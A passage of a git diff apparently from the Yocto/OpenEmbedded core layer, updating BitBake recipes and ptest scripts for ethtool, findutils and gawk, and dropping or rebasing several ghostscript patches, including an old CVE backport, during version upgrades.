+SRC_URI[sha256sum] = "ace0e95a03b38208af4ebacb415244568ace44c5d5a279ea434844f900179c75"
+
+UPSTREAM_CHECK_URI = "https://www.kernel.org/pub/software/network/ethtool/"
+
+inherit autotools ptest bash-completion pkgconfig
+
+RDEPENDS:${PN}-ptest += "make bash"
+
+PACKAGECONFIG ?= "netlink"
+PACKAGECONFIG[netlink] = "--enable-netlink,--disable-netlink,libmnl,"
+
+do_compile_ptest() {
+ oe_runmake buildtest-TESTS
+}
+
+do_install_ptest () {
+ cp ${B}/Makefile ${D}${PTEST_PATH}
+ install ${B}/test-cmdline ${D}${PTEST_PATH}
+ if ${@bb.utils.contains('PACKAGECONFIG', 'netlink', 'false', 'true', d)}; then
+ install ${B}/test-features ${D}${PTEST_PATH}
+ fi
+ install ${B}/ethtool ${D}${PTEST_PATH}/ethtool
+ sed -i 's/^Makefile/_Makefile/' ${D}${PTEST_PATH}/Makefile
+}
diff --git a/meta/recipes-extended/findutils/findutils.inc b/meta/recipes-extended/findutils/findutils.inc
index 9aa7239825..03cf2a8d72 100644
--- a/meta/recipes-extended/findutils/findutils.inc
+++ b/meta/recipes-extended/findutils/findutils.inc
@@ -6,11 +6,14 @@ HOMEPAGE = "http://www.gnu.org/software/findutils/"
BUGTRACKER = "http://savannah.gnu.org/bugs/?group=findutils"
SECTION = "console/utils"
-SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.xz"
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.xz \
+ file://autoconf-2.73.patch \
+ file://run-ptest \
+ "
-inherit autotools gettext texinfo update-alternatives
+inherit autotools gettext texinfo update-alternatives ptest
-ALTERNATIVE_${PN} = "find xargs"
+ALTERNATIVE:${PN} = "find xargs"
ALTERNATIVE_PRIORITY = "100"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/findutils/findutils/autoconf-2.73.patch b/meta/recipes-extended/findutils/findutils/autoconf-2.73.patch
new file mode 100644
index 0000000000..63728b5f91
--- /dev/null
+++ b/meta/recipes-extended/findutils/findutils/autoconf-2.73.patch
@@ -0,0 +1,24 @@
+The gnulib largefile macro needs updating to work with autoconf 2.73. Rather
+than the full code:
+
+https://git.savannah.gnu.org/cgit/gnulib.git/commit/m4/largefile.m4?id=f91f633858cf132e50924224c50d6264a92caabb
+
+Just tweak the exiting code to work with 2.73. The next findutils upgrade should
+update to new gnulib
+
+Upstream-Status: Inappropriate
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: findutils-4.9.0/gl/m4/largefile.m4
+===================================================================
+--- findutils-4.9.0.orig/gl/m4/largefile.m4
++++ findutils-4.9.0/gl/m4/largefile.m4
+@@ -26,7 +26,7 @@ AC_DEFUN([gl_SET_LARGEFILE_SOURCE],
+ # with _TIME_BITS. Also, work around a problem in autoconf <= 2.69:
+ # AC_SYS_LARGEFILE does not configure for large inodes on Mac OS X 10.5,
+ # or configures them incorrectly in some cases.
+-m4_version_prereq([2.70], [], [
++m4_version_prereq([2.73], [], [
+
+ # _AC_SYS_LARGEFILE_TEST_INCLUDES
+ # -------------------------------
diff --git a/meta/recipes-extended/findutils/findutils/run-ptest b/meta/recipes-extended/findutils/findutils/run-ptest
new file mode 100644
index 0000000000..ec71583c51
--- /dev/null
+++ b/meta/recipes-extended/findutils/findutils/run-ptest
@@ -0,0 +1,57 @@
+#!/bin/bash
+
+# create temporary symlink to workaround missing oldfind
+ln -s /usr/bin/find /tmp/oldfind
+# make oldfind visible
+export PATH="/tmp:${PATH}"
+
+export built_programs="find xargs locate updatedb"
+
+# this gets substituted by sed during build
+export VERSION="__run_ptest_version__"
+
+# define missing functions for tests/init.sh
+fu_path_prepend_ () {
+ path_prepend_ $@
+}
+
+print_ver_ () {
+ :
+}
+
+skip_if_root_ () {
+ [ $(id -u) = 0 ] && exit 77;
+}
+
+require_root_ () {
+ [ $(id -u) = 0 ] || exit 77;
+}
+
+expensive_ () {
+ :
+}
+
+export -f fu_path_prepend_
+export -f print_ver_
+export -f skip_if_root_
+export -f require_root_
+export -f expensive_
+
+
+for f in tests/*/*.sh; do
+ bash $f ;
+ case $? in
+ 0 )
+ echo -n "PASS";;
+ 77 )
+ echo -n "SKIP";;
+ * )
+ echo -n "FAIL";;
+ esac
+ echo ": $f"
+done
+
+#remove symlink
+rm -f /tmp/oldfind
+
+echo
diff --git a/meta/recipes-extended/findutils/findutils_4.7.0.bb b/meta/recipes-extended/findutils/findutils_4.7.0.bb
deleted file mode 100644
index 59688e528a..0000000000
--- a/meta/recipes-extended/findutils/findutils_4.7.0.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-require findutils.inc
-
-# GPLv2+ (<< 4.2.32), GPLv3+ (>= 4.2.32)
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
-
-DEPENDS = "bison-native"
-
-SRC_URI[md5sum] = "731356dec4b1109b812fecfddfead6b2"
-SRC_URI[sha256sum] = "c5fefbdf9858f7e4feb86f036e1247a54c79fc2d8e4b7064d5aaa1f47dfa789a"
-
-# http://savannah.gnu.org/bugs/?27299
-CACHED_CONFIGUREVARS += "gl_cv_func_wcwidth_works=yes"
-
-EXTRA_OECONF += "ac_cv_path_SORT=${bindir}/sort"
diff --git a/meta/recipes-extended/findutils/findutils_4.9.0.bb b/meta/recipes-extended/findutils/findutils_4.9.0.bb
new file mode 100644
index 0000000000..074817df27
--- /dev/null
+++ b/meta/recipes-extended/findutils/findutils_4.9.0.bb
@@ -0,0 +1,27 @@
+require findutils.inc
+
+# GPL-2.0-or-later (<< 4.2.32), GPL-3.0-or-later (>= 4.2.32)
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+DEPENDS = "bison-native"
+
+SRC_URI[sha256sum] = "a2bfb8c09d436770edc59f50fa483e785b161a3b7b9d547573cb08065fd462fe"
+
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
+# http://savannah.gnu.org/bugs/?27299
+CACHED_CONFIGUREVARS += "gl_cv_func_wcwidth_works=yes"
+
+EXTRA_OECONF += "ac_cv_path_SORT=${bindir}/sort"
+
+# need od from coreutils for -t option
+RDEPENDS:${PN}-ptest += "bash sed grep coreutils"
+
+do_install_ptest:class-target() {
+ mkdir -p ${D}${PTEST_PATH}/tests/
+ cp -r ${S}/tests/* ${D}${PTEST_PATH}/tests/
+
+ # substitute value in run-ptest with actual version
+ sed -i -e 's/__run_ptest_version__/${PV}/' ${D}${PTEST_PATH}/run-ptest
+
+}
diff --git a/meta/recipes-extended/gawk/gawk/run-ptest b/meta/recipes-extended/gawk/gawk/run-ptest
index f67a95874f..f4ef3e7bd4 100644
--- a/meta/recipes-extended/gawk/gawk/run-ptest
+++ b/meta/recipes-extended/gawk/gawk/run-ptest
@@ -2,7 +2,12 @@
cd test
for i in `grep -E "^[a-z0-9_-]*:$" Maketests |awk -F: '{print $1}'`; do
- #LC_ALL=${GAWKLOCALE:-C} LANG=${GAWKLOCALE:-C}
+ unset LANG
+ grep -q "^$i$" skipped.txt
+ if [ $? -eq 0 ]; then
+ echo "SKIP: $i"
+ continue
+ fi
srcdir=`pwd` AWKPROG=gawk AWK=gawk CMP=cmp make -f Maketests $i >$i.tmp 2>&1
if [ -e _$i ]; then
cat _$i
diff --git a/meta/recipes-extended/gawk/gawk_5.1.0.bb b/meta/recipes-extended/gawk/gawk_5.1.0.bb
deleted file mode 100644
index 0d005cd43b..0000000000
--- a/meta/recipes-extended/gawk/gawk_5.1.0.bb
+++ /dev/null
@@ -1,55 +0,0 @@
-SUMMARY = "GNU awk text processing utility"
-DESCRIPTION = "The GNU version of awk, a text processing utility. \
-Awk interprets a special-purpose programming language to do \
-quick and easy text pattern matching and reformatting jobs."
-HOMEPAGE = "https://www.gnu.org/software/gawk/"
-BUGTRACKER = "bug-gawk@gnu.org"
-SECTION = "console/utils"
-
-# gawk <= 3.1.5: GPLv2
-# gawk >= 3.1.6: GPLv3
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-PACKAGECONFIG ??= "readline"
-PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
-PACKAGECONFIG[mpfr] = "--with-mpfr,--without-mpfr, mpfr"
-
-SRC_URI = "${GNU_MIRROR}/gawk/gawk-${PV}.tar.gz \
- file://run-ptest \
-"
-
-SRC_URI[md5sum] = "f719bc9966df28e67fc6ebc405e7ea03"
-SRC_URI[sha256sum] = "03a0360edcd84bec156fe211bbc4fc8c78790973ce4e8b990a11d778d40b1a26"
-
-inherit autotools gettext texinfo update-alternatives
-
-FILES_${PN} += "${datadir}/awk"
-FILES_${PN}-dev += "${libdir}/${BPN}/*.la"
-
-ALTERNATIVE_${PN} = "awk"
-ALTERNATIVE_TARGET[awk] = "${bindir}/gawk"
-ALTERNATIVE_PRIORITY = "100"
-
-do_install_append() {
- # remove the link since we don't package it
- rm ${D}${bindir}/awk
-}
-
-inherit ptest
-
-do_install_ptest() {
- mkdir ${D}${PTEST_PATH}/test
- ln -s ${bindir}/gawk ${D}${PTEST_PATH}/gawk
- for i in `grep -vE "@|^$|#|Gt-dummy" ${S}/test/Maketests |awk -F: '{print $1}'` Maketests inclib.awk; \
- do cp ${S}/test/$i* ${D}${PTEST_PATH}/test; \
- done
- sed -i -e 's|/usr/local/bin|${bindir}|g' \
- -e 's|#!${base_bindir}/awk|#!${bindir}/awk|g' ${D}${PTEST_PATH}/test/*.awk
-
- sed -i -e "s|GAWKLOCALE|LANG|g" ${D}${PTEST_PATH}/test/Maketests
-}
-
-RDEPENDS_${PN}-ptest += "make"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/gawk/gawk_5.3.0.bb b/meta/recipes-extended/gawk/gawk_5.3.0.bb
new file mode 100644
index 0000000000..d7a0fc616d
--- /dev/null
+++ b/meta/recipes-extended/gawk/gawk_5.3.0.bb
@@ -0,0 +1,87 @@
+SUMMARY = "GNU awk text processing utility"
+DESCRIPTION = "The GNU version of awk, a text processing utility. \
+Awk interprets a special-purpose programming language to do \
+quick and easy text pattern matching and reformatting jobs."
+HOMEPAGE = "https://www.gnu.org/software/gawk/"
+BUGTRACKER = "bug-gawk@gnu.org"
+SECTION = "console/utils"
+
+# gawk <= 3.1.5: GPL-2.0-only
+# gawk >= 3.1.6: GPL-3.0-only
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+PACKAGECONFIG ??= "readline"
+PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
+PACKAGECONFIG[mpfr] = "--with-mpfr,--without-mpfr, mpfr"
+
+SRC_URI = "${GNU_MIRROR}/gawk/gawk-${PV}.tar.gz \
+ file://run-ptest \
+ "
+
+SRC_URI[sha256sum] = "378f8864ec21cfceaa048f7e1869ac9b4597b449087caf1eb55e440d30273336"
+
+inherit autotools gettext texinfo update-alternatives
+
+FILES:${PN} += "${datadir}/awk"
+FILES:${PN}-dev += "${libdir}/${BPN}/*.la"
+
+PACKAGES =+ "${PN}-gawkbug"
+FILES:${PN}-gawkbug += "${bindir}/gawkbug"
+
+ALTERNATIVE:${PN} = "awk"
+ALTERNATIVE_TARGET[awk] = "${bindir}/gawk"
+ALTERNATIVE_PRIORITY = "100"
+
+do_install:append() {
+ # remove the link since we don't package it
+ rm ${D}${bindir}/awk
+ # Strip non-reproducible build flags (containing build paths)
+ sed -i -e 's|^CC.*|CC=""|g' -e 's|^CFLAGS.*|CFLAGS=""|g' ${D}${bindir}/gawkbug
+}
+
+inherit ptest
+
+do_install_ptest() {
+ mkdir ${D}${PTEST_PATH}/test
+ ln -s ${bindir}/gawk ${D}${PTEST_PATH}/gawk
+ # The list of tests is all targets in Maketests, apart from the dummy Gt-dummy
+ TESTS=$(awk -F: '$1 == "Gt-dummy" { next } /[[:alnum:]]+:$/ { print $1 }' ${S}/test/Maketests)
+ for i in $TESTS Maketests inclib.awk; do
+ cp ${S}/test/$i* ${D}${PTEST_PATH}/test
+ done
+ sed -i \
+ -e 's|#!${base_bindir}/awk|#!${bindir}/awk|g' ${D}${PTEST_PATH}/test/*.awk
+
+ sed -i -e "s|GAWKLOCALE|LANG|g" ${D}${PTEST_PATH}/test/Maketests
+
+ # These tests require an unloaded host as otherwise timing sensitive tests can fail
+ # https://bugzilla.yoctoproject.org/show_bug.cgi?id=14371
+ rm -f ${D}${PTEST_PATH}/test/time.*
+ rm -f ${D}${PTEST_PATH}/test/timeout.*
+ for t in time timeout; do
+ echo $t >> ${D}${PTEST_PATH}/test/skipped.txt
+ done
+}
+
+do_install_ptest:append:libc-musl() {
+ # Reported https://lists.gnu.org/archive/html/bug-gawk/2021-02/msg00005.html
+ rm -f ${D}${PTEST_PATH}/test/clos1way6.*
+ # Needs en_US.UTF-8 but then does not work with musl
+ rm -f ${D}${PTEST_PATH}/test/backsmalls1.*
+ # Needs en_US.UTF-8 but then does not work with musl
+ rm -f ${D}${PTEST_PATH}/test/commas.*
+ # The below two need LANG=C inside the make rule for musl
+ rm -f ${D}${PTEST_PATH}/test/rebt8b1.*
+ rm -f ${D}${PTEST_PATH}/test/regx8bit.*
+ for t in clos1way6 backsmalls1 commas rebt8b1 regx8bit; do
+ echo $t >> ${D}${PTEST_PATH}/test/skipped.txt
+ done
+}
+
+RDEPENDS:${PN}-ptest += "make locale-base-en-us coreutils"
+
+RDEPENDS:${PN}-ptest:append:libc-glibc = " locale-base-en-us.iso-8859-1"
+RDEPENDS:${PN}-ptest:append:libc-musl = " musl-locales"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch b/meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch
deleted file mode 100644
index a9afb9948c..0000000000
--- a/meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 2adaa7366064a8f18af864eda74e52877a89620c Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Mon, 18 Jan 2016 01:00:30 -0500
-Subject: [PATCH] configure.ac: do not check local png source
-
-In oe-core, it did not need to compile local libpng
-source in ghostscript, so do not check local png
-source, and directly check the existance of shared
-libpng library.
-
-Upstream-Status: Inappropriate [OE-Core specific]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 698abd3..e65ac8b 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -1241,7 +1241,7 @@ else
- PNGDEVS=''
- PNGDEVS_ALL='png48 png16m pnggray pngmono pngmonod png256 png16 pngalpha'
- AC_MSG_CHECKING([for local png library source])
-- if test -f $srcdir/libpng/pngread.c; then
-+ if false; then
- AC_MSG_RESULT([yes])
- SHARE_LIBPNG=0
- LIBPNGDIR=$srcdir/libpng
diff --git a/meta/recipes-extended/ghostscript/ghostscript/CVE-2020-15900.patch b/meta/recipes-extended/ghostscript/ghostscript/CVE-2020-15900.patch
deleted file mode 100644
index d7c5f034e5..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/CVE-2020-15900.patch
+++ /dev/null
@@ -1,54 +0,0 @@
-From 5d499272b95a6b890a1397e11d20937de000d31b Mon Sep 17 00:00:00 2001
-From: Ray Johnston <ray.johnston@artifex.com>
-Date: Wed, 22 Jul 2020 09:57:54 -0700
-Subject: [PATCH] Bug 702582, CVE 2020-15900 Memory Corruption in Ghostscript
- 9.52
-
-Fix the 'rsearch' calculation for the 'post' size to give the correct
-size. Previous calculation would result in a size that was too large,
-and could underflow to max uint32_t. Also fix 'rsearch' to return the
-correct 'pre' string with empty string match.
-
-A future change may 'undefine' this undocumented, non-standard operator
-during initialization as we do with the many other non-standard internal
-PostScript operators and procedures.
-
-Upstream-Status: Backport [https://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=5d499272b95a6b890a1397e11d20937de000d31b]
-CVE: CVE-2020-15900
-Signed-off-by: Chee Yang Lee <chee.yang.lee@intel.com>
----
- psi/zstring.c | 17 +++++++++++------
- 1 file changed, 11 insertions(+), 6 deletions(-)
-
-diff --git a/psi/zstring.c b/psi/zstring.c
-index 33662dafa..58e1af2b3 100644
---- a/psi/zstring.c
-+++ b/psi/zstring.c
-@@ -142,13 +142,18 @@ search_impl(i_ctx_t *i_ctx_p, bool forward)
- return 0;
- found:
- op->tas.type_attrs = op1->tas.type_attrs;
-- op->value.bytes = ptr;
-- r_set_size(op, size);
-+ op->value.bytes = ptr; /* match */
-+ op->tas.rsize = size; /* match */
- push(2);
-- op[-1] = *op1;
-- r_set_size(op - 1, ptr - op[-1].value.bytes);
-- op1->value.bytes = ptr + size;
-- r_set_size(op1, count + (!forward ? (size - 1) : 0));
-+ op[-1] = *op1; /* pre */
-+ op[-3].value.bytes = ptr + size; /* post */
-+ if (forward) {
-+ op[-1].tas.rsize = ptr - op[-1].value.bytes; /* pre */
-+ op[-3].tas.rsize = count; /* post */
-+ } else {
-+ op[-1].tas.rsize = count; /* pre */
-+ op[-3].tas.rsize -= count + size; /* post */
-+ }
- make_true(op);
- return 0;
- }
---
-2.17.1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch b/meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch
index e8cb16c36b..67f14bd368 100644
--- a/meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch
+++ b/meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch
@@ -1,12 +1,11 @@
-From 0ccbaa134093bf6afc79f2d20d061bca5a8754ed Mon Sep 17 00:00:00 2001
+From b36713c8f1ba0e5755b78845a433354a63663b1a Mon Sep 17 00:00:00 2001
From: Kai Kang <kai.kang@windriver.com>
Date: Thu, 29 Mar 2018 16:02:05 +0800
-Subject: [PATCH 04/10] avoid host contamination
+Subject: [PATCH] avoid host contamination
Remove hardcode path refer to host to avoid host contamination.
-Upstream-Status: Inappropriate [embedded specific]
-
+Upstream-Status: Pending
Signed-off-by: Kai Kang <kai.kang@windriver.com>
Rebase to 9.23
@@ -16,10 +15,10 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/devices/devs.mak b/devices/devs.mak
-index 846aa50..9570182 100644
+index 186f704..88ab8c9 100644
--- a/devices/devs.mak
+++ b/devices/devs.mak
-@@ -393,7 +393,7 @@ $(DEVOBJ)gdevxalt.$(OBJ) : $(DEVSRC)gdevxalt.c $(GDEVX) $(math__h) $(memory__h)\
+@@ -397,7 +397,7 @@ $(DEVOBJ)gdevxalt.$(OBJ) : $(DEVSRC)gdevxalt.c $(GDEVX) $(math__h) $(memory__h)\
### NON PORTABLE, ONLY UNIX WITH GCC SUPPORT
$(DEVOBJ)X11.so : $(x11alt_) $(x11_) $(DEVS_MAK) $(MAKEDIRS)
@@ -28,6 +27,3 @@ index 846aa50..9570182 100644
###### --------------- Memory-buffered printer devices --------------- ######
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/base-genht.c-add-a-preprocessor-define-to-allow-fope.patch b/meta/recipes-extended/ghostscript/ghostscript/base-genht.c-add-a-preprocessor-define-to-allow-fope.patch
deleted file mode 100644
index 7d80066a80..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/base-genht.c-add-a-preprocessor-define-to-allow-fope.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 9ca6f795409b988d38dd98bc2a6ecb68a9392312 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Thu, 29 Mar 2018 16:37:40 +0800
-Subject: [PATCH 10/10] base/genht.c: add a preprocessor define to allow fopen
- calling
-
-The commit in upstream:
-http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=773c69e46e70bdd5482676437dafd2ca83397643
-
-Replace all fopen calls with gp_fopen and add a preprocessor define so
-that any unintential calls directly to fopen will cause an error.
-
-Only exceptions are those in the platform specific code, and mkromfs.c.
-This patch add a preprocessor define to allow fopen calling in
-base/genht.c.
-
-Upstream-Status: Pending
-
-Rebase to 9.23
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- base/genht.c | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/base/genht.c b/base/genht.c
-index e597e72..e96bfb5 100644
---- a/base/genht.c
-+++ b/base/genht.c
-@@ -16,6 +16,10 @@
-
- /* Generate C code for compiling halftones into ROM. */
- #include "malloc_.h"
-+
-+/* prevent gp.h from defining fopen */
-+#define fopen fopen
-+
- #include "stdio_.h"
- #include "string_.h"
- #include "gscdefs.h"
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/cups-no-gcrypt.patch b/meta/recipes-extended/ghostscript/ghostscript/cups-no-gcrypt.patch
deleted file mode 100644
index 4c9bb22fa2..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/cups-no-gcrypt.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 9129eb7fa9dc160d64a7d9df9279a3b1dae4d793 Mon Sep 17 00:00:00 2001
-From: Jackie Huang <jackie.huang@windriver.com>
-Date: Thu, 29 Mar 2018 16:16:18 +0800
-Subject: [PATCH 08/10] cups no gcrypt
-
-Don't build-depend on libgcrypt, as nothing is used from it
-
-Backported from
-http://www.cups.org/strfiles.php/3308/cups-no-gcrypt.patch
-
-This addresses the cryto dependency seen during build.
-
-Upstream-Status: Backport
-
-Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
-
-Rebase to 9.23
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- cups/libs/cups/http-private.h | 1 -
- 1 file changed, 1 deletion(-)
-
-diff --git a/cups/libs/cups/http-private.h b/cups/libs/cups/http-private.h
-index 99a85c3..a674852 100644
---- a/cups/libs/cups/http-private.h
-+++ b/cups/libs/cups/http-private.h
-@@ -80,7 +80,6 @@ typedef int socklen_t;
- # elif defined HAVE_GNUTLS
- # include <gnutls/gnutls.h>
- # include <gnutls/x509.h>
--# include <gcrypt.h>
- # elif defined(HAVE_CDSASSL)
- # include <CoreFoundation/CoreFoundation.h>
- # include <Security/Security.h>
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch
deleted file mode 100644
index ffa269e3b2..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From 84bb692d6b047c09266de154f404af9817fa04aa Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Thu, 29 Mar 2018 15:59:05 +0800
-Subject: [PATCH 01/10] contrib.mak: fix for parallel build
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
-Rebase to 9.23
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- contrib/contrib.mak | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/contrib/contrib.mak b/contrib/contrib.mak
-index f5a2fa4..4999752 100644
---- a/contrib/contrib.mak
-+++ b/contrib/contrib.mak
-@@ -1067,6 +1067,7 @@ $(DEVOBJ)dviprlib.$(OBJ) : $(JAPSRC)dviprlib.c $(JAPSRC)dviprlib.h \
- $(DEVCC) $(O_)$@ $(C_) $(JAPSRC)dviprlib.c
-
- extra-dmprt-install: install-libdata
-+ mkdir -p $(DESTDIR)$(gsdatadir)$(D)lib
- $(INSTALL_DATA) $(JAPSRC)dmp_init.ps $(DESTDIR)$(gsdatadir)$(D)lib || exit 1
- $(INSTALL_DATA) $(JAPSRC)dmp_site.ps $(DESTDIR)$(gsdatadir)$(D)lib || exit 1
- $(INSTALL_DATA) $(JAPSRC)escp_24.src $(DESTDIR)$(gsdatadir)$(D)lib || exit 1
-@@ -1235,6 +1236,7 @@ $(DEVOBJ)gdevalps.$(OBJ) : $(JAPSRC)gdevalps.c $(PDEVH) \
- ### ----------------- Additional .upp files ---------------- ###
-
- extra-upp-install: install-libdata
-+ mkdir -p $(DESTDIR)$(gsdatadir)$(D)lib
- for f in $(CONTRIBSRC)uniprint$(D)*.upp; do \
- $(INSTALL_DATA) $$f $(DESTDIR)$(gsdatadir)$(D)lib || exit 1; \
- done
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-native-fix-disable-system-libtiff.patch b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-native-fix-disable-system-libtiff.patch
deleted file mode 100644
index a382c7f891..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-native-fix-disable-system-libtiff.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From 0124b1c29b9cfe46d73ae82ce023dd7c5b055744 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Thu, 29 Mar 2018 16:36:12 +0800
-Subject: [PATCH 09/10] ghostscript-native:fix disable-system-libtiff
-
-Modify configure to add the check to make sure
-ghostscrip could work while system-libtiff is
-disabled.
-
-Upstream-Status: Pending
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
-Rebase to ghostscript 9.25.
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Signed-off-by: Jagadeesh Krishnanjanappa <jkrishnanjanappa@mvista.com>
----
- configure.ac | 5 +++++
- 1 file changed, 5 insertions(+)
-
-diff --git a/configure.ac b/configure.ac
-index 80a60b1..f3e9efb 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -1319,6 +1319,7 @@ AC_TRY_COMPILE([], [return 0;],
- CFLAGS=$CGLAGS_STORE
-
- if test x"$SHARE_LIBTIFF" = x"0" ; then
-+ if test -e $LIBTIFFDIR/configure; then
- echo "Running libtiff configure script..."
- olddir=`pwd`
- if ! test -d "$LIBTIFFCONFDIR" ; then
-@@ -1337,6 +1338,10 @@ if test x"$SHARE_LIBTIFF" = x"0" ; then
-
- echo
- echo "Continuing with Ghostscript configuration..."
-+ else
-+ AC_MSG_NOTICE([Could not find local copy of libtiff.
-+Disabling tiff output devices.])
-+ fi
- fi
-
- AC_SUBST(SHARE_LIBTIFF)
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-prevent_recompiling.patch b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-prevent_recompiling.patch
deleted file mode 100644
index c76915fb81..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-prevent_recompiling.patch
+++ /dev/null
@@ -1,78 +0,0 @@
-From 239d681306a8d97ed10954788d32ba2f4b55f77c Mon Sep 17 00:00:00 2001
-From: Kang Kai <kai.kang@windriver.com>
-Date: Thu, 29 Mar 2018 16:10:16 +0800
-Subject: [PATCH 06/10] prevent recompiling
-
-Just use commands provided by ghostscript-native, preventing recompile
-them when compile ghostscript. Way to enable cross compile.
-
-Upstream-Status: Pending
-
-Signed-off-by: Kang Kai <kai.kang@windriver.com>
-Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
-
-Rebase to 9.25
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Signed-off-by: Jagadeesh Krishnanjanappa <jkrishnanjanappa@mvista.com>
----
- base/unix-aux.mak | 44 --------------------------------------------
- 1 file changed, 44 deletions(-)
-
-diff --git a/base/unix-aux.mak b/base/unix-aux.mak
-index 5bf72e9..9cb39d7 100644
---- a/base/unix-aux.mak
-+++ b/base/unix-aux.mak
-@@ -54,50 +54,6 @@ $(AUX)gp_stdia.$(OBJ): $(GLSRC)gp_stdia.
- $(stdio__h) $(time__h) $(unistd__h) $(gx_h) $(gp_h) $(UNIX_AUX_MAK) $(MAKEDIRS)
- $(GLCCAUX) $(AUXO_)gp_stdia.$(OBJ) $(C_) $(GLSRC)gp_stdia.c
-
--# -------------------------- Auxiliary programs --------------------------- #
--
--$(ECHOGS_XE): $(GLSRC)echogs.c $(AK) $(stdpre_h) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(ECHOGS_XE) $(GLSRC)echogs.c $(AUXEXTRALIBS)
--
--$(PACKPS_XE): $(GLSRC)pack_ps.c $(stdpre_h) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(PACKPS_XE) $(GLSRC)pack_ps.c $(AUXEXTRALIBS)
--
--# On the RS/6000 (at least), compiling genarch.c with gcc with -O
--# produces a buggy executable.
--$(GENARCH_XE): $(GLSRC)genarch.c $(AK) $(GENARCH_DEPS) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(GENARCH_XE) $(GLSRC)genarch.c $(AUXEXTRALIBS)
--
--$(GENCONF_XE): $(GLSRC)genconf.c $(AK) $(GENCONF_DEPS) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(GENCONF_XE) $(GLSRC)genconf.c $(AUXEXTRALIBS)
--
